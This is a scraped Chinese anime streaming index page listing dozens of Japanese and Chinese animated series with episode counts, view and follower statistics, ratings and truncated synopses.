简介:高中毕业后,进入了曾制作自己自幼便入迷的游戏的制作公司“Eagle Jump”的青叶,在那里与担任这款游戏角色设计师的八神光相遇了。 +开始在憧憬的人手下工作的青叶,虽然对于第一次的工作感到困惑,但在以...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 666.4 万 + + + 追番人数 34.5 万 + + + 硬币数 1.0 万 + + + 弹幕总数 5.0 万 + + + 评分 9 + + +
+

简介:PC游戏《罪恶王冠 失落的圣诞节》是正在热播中的人气动画《罪恶王冠》的外传,就在不久前该游戏已经发布了试玩版,正式版的发售日期则为5月31日。该游戏中的时间追溯到了动画版的10年前,突然其来的致命病毒...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 405.7 万 + + + 追番人数 24.3 万 + + + 硬币数 1.3 万 + + + 弹幕总数 7.1 万 + + + 评分 9.5 + + +
+

简介:十六夜等人接受了白夜叉的邀请,前往参加某个共同体所举办的游戏。他们到达的地方是一条温泉街,而游戏的目标是让枯竭的水源复活。突然,飞鸟、耀与黑兔遇到了出乎意料的事态?...

+
+
+ + +
+
+
+
+
+ OVERLORD +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4.6 亿 + + + 追番人数 665.8 万 + + + 硬币数 93.9 万 + + + 弹幕总数 395.3 万 + + + 评分 9.6 + + +
+

简介:作品主要讲述了某天,一款曾经掀起过大热潮的VRMMORPG「YGGDRASIL」停止了运营。游戏原本会停止一切服务,但过了结束时间后,玩家们却发现不能退出,NPC也产生了各自的思想。现实世界中喜爱电玩...

+
+
+ + +
+
+
+
+ +
+ + + + 全22话0 + + + + + 番剧 日本 + + + + 总播放 2.0 亿 + + + 追番人数 619.0 万 + + + 硬币数 154.5 万 + + + 弹幕总数 494.7 万 + + + 评分 9.8 + + +
+

简介:从小接受母亲严格的钢琴训练,并在各种音乐比赛上获胜的“神童”——有马公生,11岁那年因为母亲去世,他从此变得听不见钢琴的声音,因而放弃了弹奏钢琴。 +国中三年级时,在青梅竹马椿的引见下,公生认识了与他同...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1074.9 万 + + + 追番人数 72.0 万 + + + 硬币数 4.9 万 + + + 弹幕总数 60.8 万 + + + 评分 9 + + +
+

简介:【本片翻译由澄空学园字幕组提供】 +故事讲述男主角星野一马,为了陪同身体虚弱的弟弟星野步疗养,在学期过了一半却决定和弟弟由市镇搬到空气清新的乡郊山比古町居住。本应是值得纪念的转校第一天,一马在这陌生的道...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.7 亿 + + + 追番人数 366.8 万 + + + 硬币数 111.6 万 + + + 弹幕总数 369.7 万 + + + 评分 9.8 + + +
+

简介:个性别扭、没有朋友、没有女朋友,对着那些讴歌青春的同学吐槽“他们都是骗子,都在说谎,快点爆炸吧现充”的男主角的爱情物语!将来的梦想是“不工作”(当个家庭主夫),这样的高中生八幡被生活指导老师带到了学校...

+
+
+ + +
+
+
+
+ +
+ + + + 全22话0 + + + + + 番剧 日本 + + + + 总播放 8437.2 万 + + + 追番人数 386.7 万 + + + 硬币数 39.9 万 + + + 弹幕总数 602.3 万 + + + 评分 9.1 + + +
+

简介:处于无政府状态的日本,受到了由超国家之间所组织成的名为“GHQ”的组织的武力介入并接受其统治,东京的六本木更成为被封锁的地区。之后又以名为“lost christmas(失落的圣诞)”的事件为契机,日...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1008.9 万 + + + 追番人数 41.8 万 + + + 硬币数 4.0 万 + + + 弹幕总数 83.4 万 + + + 评分 9.5 + + +
+

简介:新学期刚开始,高中生·坂井悠二一如往常过着“日常生活”。然而有一天,他冷不防遭遇红世之王手下的侵袭。受到一名能够把人的存在化为灵火,并吸取灵火的神秘男子法利亚格尼的攻击。悠二的“日常”生活因此整个脱节...

+
+
+ + +
+
+
+
+
+ SOLA +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 369.6 万 + + + 追番人数 54.4 万 + + + 硬币数 1.7 万 + + + 弹幕总数 13.0 万 + + + 评分 9.4 + + +
+

简介:少女四方茉莉在街道的教会中独自的生活。然后,某日的凌晨四点,在美丽的海滨自然公园中,茉莉与正准备拍摄天空照片的依人却偶然相遇了。少年与少女的相遇,拉开了不思议事件的序幕……...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2614.2 万 + + + 追番人数 121.3 万 + + + 硬币数 6.2 万 + + + 弹幕总数 162.5 万 + + + 评分 8.8 + + +
+

简介:故事发生在人人都使用名为“Neural Linker(神经连结装置)”的终端设备连线,生活的大半时间都建构在网络世界的不远未来。因为身材肥胖而受到欺凌的学生春雪,过着一边诅咒现实,一边躲在校内网络一角...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3356.0 万 + + + 追番人数 99.2 万 + + + 硬币数 6.4 万 + + + 弹幕总数 132.6 万 + + + 评分 9.3 + + +
+

简介:为了守护地球,我要成为双马尾! +钟爱双马尾的普通高中生观束总二,某日被来自异世界的谜之美少女“朵艾儿”授予力量,变身成幼女形态的双马尾英雄·红马尾战士!同时,以人类精神能量“属性力”为粮食的异世界怪物...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9961.5 万 + + + 追番人数 486.8 万 + + + 硬币数 61.9 万 + + + 弹幕总数 330.8 万 + + + 评分 9.8 + + +
+

简介:尼特族又闭门不出,但是在网络上甚至被当作都市传说口耳相传的天才玩家兄妹·空和白。将世界称为“垃圾游戏”的这两个人某一天被自称“神”的少年召唤到了异世界。那里是被神明禁止了战争,“一切交由游戏来决定”的...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 94.9 万 + + + 追番人数 178.8 万 + + + 硬币数 1370 + + + 弹幕总数 1.6 万 + + + 评分 9.2 + + +
+

简介:对世界已经感到厌烦的少年逆迴十六夜,在某天收到了一封奇妙的邀请函。当看清邀请函中写着的内容:“望你舍弃家庭、财富、名望等一切,前往「箱庭」”的瞬间──他来到了完美无缺的异世界。 +出现在十六夜眼前是带著...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 2.0 亿 + + + 追番人数 464.9 万 + + + 硬币数 118.6 万 + + + 弹幕总数 319.8 万 + + + 评分 8.3 + + +
+

简介:【本片翻译由版权方提供】“这里是哪儿”察觉到的时候,桐人不知为什么陷入了庞大的幻想风格虚拟世界。登录前的记忆模糊不清,只得在周围徘徊寻找线索。之后,他同一名少年相遇了。“我的名字是尤吉欧。请多关照,桐...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.2 亿 + + + 追番人数 498.2 万 + + + 硬币数 60.8 万 + + + 弹幕总数 561.2 万 + + + 评分 9.7 + + +
+

简介:就读于千叶市立综武高等学校高二年级的比企谷八幡,从幼年时代就交不到什么朋友。正当他已经放弃了交朋友这种念头的时候,生活指导老师平冢静介绍他进入了学校第一美女——俗称校花的雪之下雪乃所在的“奉仕部”。奉...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 133.5 万 + + + 追番人数 45.6 万 + + + 硬币数 1.4 万 + + + 弹幕总数 4.2 万 + + + 评分 9.3 + + +
+

简介:我,桐生慧輝某一天,收到一封寄件人不明的情書!根據當時狀況研判,寄件人可能是我所參加的書法社相關人士們:波霸美女學姊、小狗般乖巧的學妹、走得很近的同班同學與仰慕哥哥的妹妹(這應該不可能),她們當中的某...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 42.1 万 + + + 追番人数 27.4 万 + + + 硬币数 2813 + + + 弹幕总数 2.6 万 + + + 评分 6.6 + + +
+

简介:為了複仇,我又回到這座城市了! +8年前,被美少女·安達垣愛姬殘忍拒絕的肥胖少年·真壁政宗,變得超瘦又更改了名字,變身成帥哥回來了。沒錯,一切都是為了讓那個號稱殘虐公主的抖S女生迷上自己,完成最高形式的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8270.7 万 + + + 追番人数 254.9 万 + + + 硬币数 24.5 万 + + + 弹幕总数 81.0 万 + + + 评分 8.2 + + +
+

简介:在剑与魔法的异世界舞台,描绘少女们友情与成长的平均值?冒险就此展开。...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 6068.2 万 + + + 追番人数 171.3 万 + + + 硬币数 45.3 万 + + + 弹幕总数 56.2 万 + + + 评分 9.4 + + +
+

简介:《崩坏3》官方首部原创连载动画。这是回到宿舍的女武神们,发生在她们身上的和食物有关的故事。女武神们做的料理各不相同,但是其中蕴含的心意,对重要的人想要传达的思念,却是相通的。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4115.6 万 + + + 追番人数 170.1 万 + + + 硬币数 11.8 万 + + + 弹幕总数 48.4 万 + + + 评分 6.5 + + +
+

简介:拥有名为玛那这一能力的贵族,肩负着保护人类这一使命。就读于能力者育成学校的贵族,却没有一点玛那的特殊少女梅莉达·安杰尔。为了发掘她的才能,库法·梵皮尔被派来担任她的家庭教师。 +他同时也肩负“倘若确认她...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3598.0 万 + + + 追番人数 178.0 万 + + + 硬币数 9.6 万 + + + 弹幕总数 53.8 万 + + + 评分 6.9 + + +
+

简介:坂本拓真,MMORPG《十字幻想曲》中被其他玩家称为“魔王”,拥有压倒性的强悍力量。 +有一天,他竟然以游戏中的身份被召唤至异世界,遇到了两个各自都坚称自己才是“召唤主”的少女。两名少女对拓真施展了驯服...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 2106.3 万 + + + 追番人数 114.6 万 + + + 硬币数 8.0 万 + + + 弹幕总数 39.5 万 + + + 评分 9.3 + + +
+

简介:因为在风祭流传着未确认生物的情报,以及超自然的现象之类的似真非真的传闻。瑚太朗向超自然研究会的部长,千里朱音的求助,于是展开了涉及到瑚太朗认识的学生们的调查。对于瑚太朗来说,原本只是抱着一点冒险心态而...

+
+
+ + +
+
+
+
+ +
+ + + + 全22话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 381.7 万 + + + 硬币数 36.3 万 + + + 弹幕总数 262.0 万 + + + 评分 8.9 + + +
+

简介:人类创作了许许多多的故事。 +喜悦、悲伤、愤怒、感动。这些引人入胜的故事撼动着人们的心灵。 +但是,那些不过是作为旁观者的感想罢了。 +如果,故事中的登场人物们拥有了“意志”。那么对于他们来说,创作出故事的...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 3.4 亿 + + + 追番人数 681.3 万 + + + 硬币数 195.9 万 + + + 弹幕总数 211.9 万 + + + 评分 9.8 + + +
+

简介:伍六七在帮助别人和寻找自我的过程中,认识了不同的人,并与不同角色之间发生了有趣的故事,最终用爱与包容化解了仇恨与偏见。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5724.8 万 + + + 追番人数 218.3 万 + + + 硬币数 24.8 万 + + + 弹幕总数 74.6 万 + + + 评分 9 + + +
+

简介:这座城市住着众多的神,其中心存在着通往地心深处——深渊的“地下城”。城市的名字是迷宫都市欧拉丽。 +女神赫斯缇雅与冒险者贝尔·克朗尼,一如既往地是主神和仅仅一名眷族的最小构成。但达成了世界最快升级这一伟...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4497.6 万 + + + 追番人数 191.6 万 + + + 硬币数 20.9 万 + + + 弹幕总数 55.7 万 + + + 评分 5.3 + + +
+

简介:刻苦学习的高中3年生·唯我成幸,为了获得免除大学学费的“特别VIP推荐”资格,而要去担任为备考而苦战的同级生们的教育指导员。教导的对象是“文学之森的睡美人”古桥文乃和“机关精巧的拇指姑娘”绪方理珠这两...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 国创 中国大陆 + + + + 总播放 9538.1 万 + + + 追番人数 278.9 万 + + + 硬币数 62.9 万 + + + 弹幕总数 27.3 万 + + + 评分 9.6 + + +
+

简介:讲述了勤劳的兔子们为了建立一个吃得饱穿得暖不被人看不起的种花家,辛勤奋斗的故事。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1174.6 万 + + + 追番人数 195.9 万 + + + 硬币数 3.4 万 + + + 弹幕总数 18.7 万 + + + 评分 9.7 + + +
+

简介:【剑姬】艾丝·华伦斯坦。以最强出名的女剑士今天也与同伴们一起前往广大的地下迷宫“地下城”。 +在各种各样的谜团与威胁扑面而来的深层域,艾丝呼唤疾风,在迷宫的黑暗中刻画出一道闪光! +迷宫都市欧拉丽里,人们...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 236.6 万 + + + 追番人数 34.3 万 + + + 硬币数 1.9 万 + + + 弹幕总数 4.8 万 + + + 评分 9.8 + + +
+

简介:一如往常的早晨。一如往常的音樂。一如往常的自己。 +7名少女的安寧,突然崩潰。 +因蠢動的死者——殭屍而崩潰…… + +不容分說地踏入的世界,那裡是「最好×最壞的殭屍世界」 +少女們的願望,只有一個。 +「我們,...

+
+
+ + +
+
+
+
+ +
+ + + + 全6话0 + + + + + 番剧 日本 + + + + 总播放 3562.9 万 + + + 追番人数 376.7 万 + + + 硬币数 19.1 万 + + + 弹幕总数 21.0 万 + + + 评分 9.8 + + +
+

简介:在电视剧中堪称帅气的超能力,对于高中生齐木楠雄来说只是招致灾难的元凶。作为新动画系列展开的楠雄的日常又会如何!?...

+
+
+ + +
+
+
+
+ +
+ + + + 全2话0 + + + + + 番剧 日本 + + + + 总播放 1455.8 万 + + + 追番人数 76.7 万 + + + 硬币数 8.0 万 + + + 弹幕总数 8.7 万 + + + 评分 9.8 + + +
+

简介:完结篇讲述了原作漫画中「忍舞市旅行的小插曲」哦!在忍舞市中,等待齐木和他的小伙伴们的灾难是…!?...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1.5 亿 + + + 追番人数 254.5 万 + + + 硬币数 39.5 万 + + + 弹幕总数 140.5 万 + + + 评分 9.8 + + +
+

简介:能够窥视别人的内心、看透墙壁、以念力移动物品、瞬间移动,一出生就拥有一切的超能力!他就是沉默寡言的超能力者,齐木楠雄。在一个平凡的日本家庭,父母都很普通,齐木楠雄的出生却不平凡。齐木楠雄天生下来就是个...

+
+
+ + +
+
+
+
+ +
+ + + + 全120话0 + + + + + 番剧 日本 + + + + 总播放 2.7 亿 + + + 追番人数 200.7 万 + + + 硬币数 34.4 万 + + + 弹幕总数 132.0 万 + + + 评分 9.7 + + +
+

简介:高中生·齐木楠雄是超能力者。心灵感应、念动力、透视、预知、瞬间移动、千里眼等,不论任何事情都自由自在。但这任谁都羡慕不已的最强能力,实际上对于本人而言是引来灾难的不幸元凶。因此,他在别人面前封印了超能...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1.8 亿 + + + 追番人数 329.7 万 + + + 硬币数 38.3 万 + + + 弹幕总数 158.7 万 + + + 评分 9.7 + + +
+

简介:高中生·齐木楠雄是超能力者。心灵感应、念动力、透视、预知、瞬间移动、千里眼等,不论任何事情都自由自在。但这任谁都羡慕不已的最强能力,实际上对于本人而言是引来灾难的不幸元凶。因此,他在别人面前封印了超能...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 1.8 亿 + + + 追番人数 445.9 万 + + + 硬币数 55.2 万 + + + 弹幕总数 518.9 万 + + + 评分 9.8 + + +
+

简介:在乔斯达家的宿敌·迪奥(DIO)复活的影响下,一位年轻人——空条承太郎,得到了名为“幽波纹(替身)”的能力。为了拯救因迪奥的诅咒而倒下的母亲荷莉,空条承太郎与外祖父·乔瑟夫以及伙伴们,一起为了打倒迪奥...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4684.7 万 + + + 追番人数 203.2 万 + + + 硬币数 29.2 万 + + + 弹幕总数 51.8 万 + + + 评分 9.8 + + +
+

简介:某天早晨,突然觉醒了暗之力量的女高中生·吉田优子,为了解除一族所遭受的诅咒而准备开始打倒魔法少女!!但对方却是自己的救命恩人!?而且根本就没可能打赢!?废柴系庶民派魔族与高冷系肌肉魔法少女编织的日常系...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6157.4 万 + + + 追番人数 331.9 万 + + + 硬币数 54.7 万 + + + 弹幕总数 90.3 万 + + + 评分 9.7 + + +
+

简介:如果对研究充满热情的科学女孩和科学男孩坠入爱河怎么办? +彩玉大学理科研究生的才女,冰室菖蒲向同一实验室雪村心夜告白。 +当然“喜欢”是没有逻辑根据的!但是,作为理工学专业的学生,“如果不能用逻辑证明自己...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.3 亿 + + + 追番人数 458.7 万 + + + 硬币数 87.8 万 + + + 弹幕总数 242.8 万 + + + 评分 8.9 + + +
+

简介:一直过着贫困生活的高中二年级学生·上杉风太郎,找到了一份条件非常好的家庭教师兼职。然而,要教导的学生居然是同级生!而且还是五胞胎!!虽然都是美少女,但同时也是“将要留级”、“讨厌学习”的问题学生们!最...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 291.1 万 + + + 追番人数 11.0 万 + + + 硬币数 6450 + + + 弹幕总数 4.2 万 + + + 评分 5.9 + + +
+

简介:所有武斗家最为关注的最高级别的格斗盛典“奥林匹亚武斗大会”将在天空竞技场拉开序幕,小杰(潘惠美 配音)和奇犽(伊濑茉莉也 配音)兴奋非常,坐在看台上准备为好友智喜加油鼓劲。谁知就在此时,一群神秘之人突...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1562.5 万 + + + 追番人数 495.9 万 + + + 硬币数 11.2 万 + + + 弹幕总数 25.7 万 + + + 评分 9.7 + + +
+

简介:昴等人打倒了诅咒的元凶——魔兽沃尔加姆,拯救了阿拉姆村的孩子们。终于到来的安稳并未持续很久,昴就瞒着所有人前去挑战某个极秘任务。尽管昴做了变装,但很快就被以佩特拉为首的村里的孩子们识破了真实身份。开始...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 9798.8 万 + + + 追番人数 244.6 万 + + + 硬币数 15.1 万 + + + 弹幕总数 113.3 万 + + + 评分 8.8 + + +
+

简介:能干的程序员,同时是重度机器人宅的青年,转生到了巨大机器人“幻晶骑士(Silhouette Knight)”震动大地的骑士与魔法的异世界!? +以艾尔涅斯帝·埃切贝里亚的身份转生的他,活用丰富的机械知识...

+
+
+ + +
+
+
+
+
+ 伪恋 +
+
+ + + + 全20话0 + + + + + 番剧 日本 + + + + 总播放 4336.0 万 + + + 追番人数 242.6 万 + + + 硬币数 27.6 万 + + + 弹幕总数 217.2 万 + + + 评分 9.3 + + +
+

简介:一条乐,一个随处可见的普通高中生,同时也是黑道集团“集英组”的小少爷。10年前,他和关系很好的某个女孩子做了一个约定,“下次见面的时候,我们就结婚吧”,分别时女孩送他的一条项链,10年来他一直都寸不离...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 1091.0 万 + + + 追番人数 80.0 万 + + + 硬币数 7.6 万 + + + 弹幕总数 45.9 万 + + + 评分 9.1 + + +
+

简介:在学园都市制作的宇宙升降机“恩底弥翁”完成在即之时,上条当麻和茵蒂克丝与拥有“奇迹”的歌声的少女鸣护阿丽莎相遇,然而阿丽莎却会引发魔法世界和科学世界之间的战争,故事也由此展开。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 8862.0 万 + + + 追番人数 404.4 万 + + + 硬币数 63.2 万 + + + 弹幕总数 222.8 万 + + + 评分 9.8 + + +
+

简介:怕生的御宅族女大学生宫子,遇到了天使般的小学生!?在看到妹妹带来的新朋友小花的瞬间,宫子就无法抑制住心跳!!她为了和小花成为朋友而奋斗,但……“想要和超绝可爱的她做朋友”系小品喜剧,开幕!...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.0 亿 + + + 追番人数 516.8 万 + + + 硬币数 49.1 万 + + + 弹幕总数 111.4 万 + + + 评分 9.1 + + +
+

简介:桐人、尤吉欧、爱丽丝。距离两名修剑士和一名整合骑士打败了最高祭司阿多米尼斯多雷特已过去了半年。 +结束了战斗,爱丽丝在故乡卢利特村生活。在她的身旁,是失去了挚友,自己也失去了手臂和心的桐人。 +献身般支撑...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.8 亿 + + + 追番人数 518.9 万 + + + 硬币数 84.1 万 + + + 弹幕总数 156.5 万 + + + 评分 9.7 + + +
+

简介:废柴女神莉丝塔要拯救超难模式的世界,虽然成功召唤出能力值超高的勇者——圣哉,但没想到他却谨慎得过分…… +「我要三副盔甲,一副拿来装备,一副备用,以及备用找不到时的备用。」不仅囤积异常的库存,还自主训练...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1517.4 万 + + + 追番人数 91.6 万 + + + 硬币数 4.0 万 + + + 弹幕总数 19.7 万 + + + 评分 8.7 + + +
+

简介:“毁坏理想,回归现实——” +响彻城市的美妙歌声。如同被拥有绝大人气的偶像“μ”所守护着一般,平稳的日常在城市中流逝。 +式岛律,是宫比市立吉志舞高中的一年级生。运动、学习、受到朋友的关照,在青春的正当中...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 54.2 万 + + + 追番人数 3.6 万 + + + 硬币数 2625 + + + 弹幕总数 7894 + + + 评分 9.5 + + +
+

简介:廢柴女神莉絲塔要負責拯救超難模式的世界。雖然成功召喚出能力值高到犯規的勇者聖哉,沒想到他卻謹慎到超乎想像……「我要三副盔甲。一副拿來穿,一副備用,還有一副是備用不見時的備用。」不僅囤積異常的庫存,還自...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4867.0 万 + + + 追番人数 272.3 万 + + + 硬币数 20.8 万 + + + 弹幕总数 190.5 万 + + + 评分 9.2 + + +
+

简介:西元二○二一年,人类在与病毒性寄生生物“原肠动物”的战争中败北,被驱逐至狭窄的领土,带着恐惧与绝望苟且偷生。 + +至此过了十年,人类在能控制原肠动物病毒的少女们“受诅之子”力量下得以找到对抗怪物的最后希...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 32.7 万 + + + 追番人数 7.6 万 + + + 硬币数 2171 + + + 弹幕总数 7066 + + + 评分 8.4 + + +
+

简介:有人曾說「戀愛是少女的力量泉源」,9 位為了對抗攻擊人類世界的惡魔而來到現世的少女,在神界的主神「奧汀」主導下強行住進了原本獨居的高中生・亞久津拓真的家裡。拓真必須跟這些少女「親熱」才能夠提升對方的等...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3666.1 万 + + + 追番人数 141.4 万 + + + 硬币数 8.9 万 + + + 弹幕总数 60.2 万 + + + 评分 3.6 + + +
+

简介:被卷入了飞机事故的七位高中生,醒来后发现自己身处在有魔法和兽人的异世界。突发的事态让他们陷入混乱——这种事情是不可能的(!?)在没有电力的世界中造了发电厂;稍微出外打拼一下,就掌握了整个大城市的经济;...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 202.0 万 + + + 追番人数 165.7 万 + + + 硬币数 3.1 万 + + + 弹幕总数 3.1 万 + + + 评分 9.8 + + +
+

简介:被选为音乐会独奏的智乃,让理世对她进行特训,理世为了让智乃习惯在众人面前唱歌而举办了卡拉OK大会,与其说是智乃的练习,倒不如说是大家的狂欢。紧张的智乃能在当天好好的唱歌吗?...

+
+
+ + +
+
+
+
+ +
+ + + + 全30话0 + + + + + 国创 中国大陆 + + + + 总播放 1280.1 万 + + + 追番人数 26.9 万 + + + 硬币数 1.5 万 + + + 弹幕总数 6.0 万 + + + 评分 5.9 + + +
+

简介:故事讲述未来30年后,仿真智能人在人类社会被广泛应用。人类为了自身安全,建立了东西方智能岛。一支由智能姬组成的神秘战队,为了维护人类安全和世界和平,一次次地打击异变智能人的犯罪行为和恐怖袭击。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6178.7 万 + + + 追番人数 283.4 万 + + + 硬币数 23.1 万 + + + 弹幕总数 138.4 万 + + + 评分 9.3 + + +
+

简介:小说家‧羽岛伊月,随时有一群充满个性的人聚集在他的身旁。 +爱与才能都是重量级,高阶的缺憾系美少女‧可儿那由多。 +对恋爱迷惘对友情迷惘对梦想迷惘的青春三冠王‧白川京。 +鬼畜税金拯救者‧大野艾希莉。 +天才...

+
+
+ + +
+
+
+
+ +
+ + + + 全25话0 + + + + + 番剧 日本 + + + + 总播放 3.0 亿 + + + 追番人数 513.7 万 + + + 硬币数 166.0 万 + + + 弹幕总数 409.0 万 + + + 评分 7.4 + + +
+

简介:极为平凡的御宅族大学生·岩谷尚文,受到在图书馆发现的一本书所引导,被召唤到了异世界。他被赋予的使命,是作为装备着剑、枪、弓、盾的四圣勇者之一“盾之勇者”,驱逐给世界带来混沌的灾害“波”。因为大冒险而心...

+
+
+ + +
+
+
+
+ +
+ + + + 全52话0 + + + + + 国创 中国大陆 + + + + 总播放 6018.1 万 + + + 追番人数 72.8 万 + + + 硬币数 9.9 万 + + + 弹幕总数 13.4 万 + + + 评分 8.4 + + +
+

简介:在第一季和第二季的剧情中,东方纤云和其他的小伙伴们还有很多不为人知的生活,这些生活,都是一幕幕血泪史,真是让闻者伤心,见者落泪啊。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5818.5 万 + + + 追番人数 196.0 万 + + + 硬币数 26.1 万 + + + 弹幕总数 95.5 万 + + + 评分 9.2 + + +
+

简介:刻苦学习的高中3年生·唯我成幸,为了获得免除大学学费的“特别VIP推荐”资格,而要去担任为备考而苦战的同级生们的教育指导员。教导的对象是“文学之森的睡美人”古桥文乃和“机关精巧的拇指姑娘”绪方理珠这两...

+
+
+ + +
+
+
+
+ +
+ + + + 全38话0 + + + + + 国创 中国大陆 + + + + 总播放 1.8 亿 + + + 追番人数 239.7 万 + + + 硬币数 47.5 万 + + + 弹幕总数 54.7 万 + + + 评分 9.7 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 50.6 万 + + + 追番人数 4.1 万 + + + 硬币数 1929 + + + 弹幕总数 6210 + + + 评分 4 + + +
+

简介:被霸凌的孩子,南雲始,與同班同學一起被召喚至異世界。雖然同學們接連顯現戰鬥取向的特殊能力,但始卻只擁有鍊成師這種平凡的能力。而且在異世界仍為最弱的他,竟被某位同學惡意推落了迷宮深淵──!?在找不到方法...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 7742.0 万 + + + 追番人数 298.7 万 + + + 硬币数 35.6 万 + + + 弹幕总数 122.3 万 + + + 评分 6.7 + + +
+

简介:位于东京西部的巨大“学园都市”。 +在总人口达230万人,其中约8成是学生的这座都市中,实施着超能力开发的特殊课程,学生们的能力被给予从“无能力Level 0”到“超能力Level 5”的六阶段评价。...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 6919.3 万 + + + 追番人数 239.7 万 + + + 硬币数 58.0 万 + + + 弹幕总数 106.4 万 + + + 评分 9.7 + + +
+

简介:距离人类移居到新的基地火星已经过了50年。这个时代中大多数的文化均由AI创造,人类只需要享受即可。 +有一位少女,生活在首都阿尔巴市,在工作之余的空闲时间里想努力成为一名音乐家,但她总感觉缺少些什么,她...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 21.1 万 + + + 追番人数 2.5 万 + + + 硬币数 1355 + + + 弹幕总数 3952 + + + 评分 7.2 + + +
+

简介:位於東京西部的巨大“學園都市”。 +在總人口達230萬人,其中約8成是學生的這座都市中,實施著超能力開發的特殊課程,學生們的能力被給予從“無能力Level 0”到“超能力Level 5”的六階段評價。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 21.1 万 + + + 追番人数 2.7 万 + + + 硬币数 1070 + + + 弹幕总数 3242 + + + 评分 7.7 + + +
+

